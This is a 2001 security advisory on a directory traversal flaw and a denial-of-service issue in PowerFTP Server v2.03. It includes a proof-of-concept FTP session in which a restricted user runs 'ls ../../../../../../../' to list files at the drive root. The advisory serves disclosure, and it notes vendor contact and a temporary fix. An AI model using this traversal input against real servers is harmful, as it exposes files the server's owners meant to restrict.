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------oOo------ PowerFTP Server data revealing sensitive on DRIVES remotes and Denial of Service Vulnerability (Released exploits Codes). ------oOo------ PowerFTPServer for Windows 9x/NT/2000 contains remote vulnerabilities which allow users to see and retrieve any file on the server. Exploit information included. Company Affected: www.CooolSoft.com Version: v2.03 Date Added: 08-28-01 Size: 1.83 MB OS Affected: Windows 95/98/NT/2000 Author: ** Alex Hernandez <email protected> ** Thanks all the people from Spain and Argentina. ** Special Greets: White-B, Pablo S0r, Paco Spain, L.Martins ** G.Maggiotti & H.Oliveira. ----=Brief Description=------------ PowerFTP Server is an FTP server for Windows 9x/NT/2000. A bug allows any user to change to any directory and see files to PATH also GET files remotely. ----=Summary=---------------------- PowerFTP is a powerful FTP client/server software. The feature of PowerFTP is the function of multiple thread downloading and uploading. it can even split one big file into several parts, and it can make your computer as a standard FTP server but exist a big HOLES: 1) Reveling data sensitive REMOTE with account restricted on Drives CDROM. Floppy and HDD Proof of concept. 2) Exploit code data revealing (Remote). 3) Remote DoS proof of concept. 4) Exploit code DoS (Remote). 5) Exploit code DoS attack Floppy Drive (Remote). ------oOo------ Proof of concept # uname -a SunOS Lab 5.8 Generic_108528-03 sun4u sparc SUNW,Ultra-5_10 # # ftp 10.0.0.1 Connected to 10.0.0.1. 220 Personal FTP Server ready Name (10.0.0.1:root): temp 331 Password required for temp. Password: 230 User temp logged in. ftp> ftp> pwd 257 "C:/WINDOWS/Application Data/Microsoft/Internet Explorer/Quick Launch/Mis documentos/tools/" is current directory. ftp> cd .../.../ 501 CWD failed. Cannot accept relative path using dot notation ftp> ------oOo------ (1) Reveling Data C:\ Drive, floppy A:\ and CDROM, if u run something, in this case exist a CD installation ENCARTA 2001 in Spanish u can see all the files. ------oOo------ ftp> ls ../../../../../../../ 200 Port command successful. 150 Opening data connection for directory list. SUHDLOG.DAT COMMAND.COM BOOTLOG.PRV FRUNLOG.TXT DOS AUTOEXEC.DOS CONFIG.DOS VIDEOROM.BIN CONFIG.SYS DBLSPACE.BIN MSDOS.SYS MSDOS.--- SETUPLOG.TXT WINDOWS test.txt.txt # 226 File sent ok remote: ../../../../../../../ 561 bytes received in 0.12 seconds (4.61 Kbytes/s) ftp> ------oOo------------------------------------ Vendor Response: The vendor was notified email protected http://www.cooolsoft.com Patch Temporary: Restricted files and Directories. Alex Hernandez <email protected> (c) 2001. ------oOo------------------------------------
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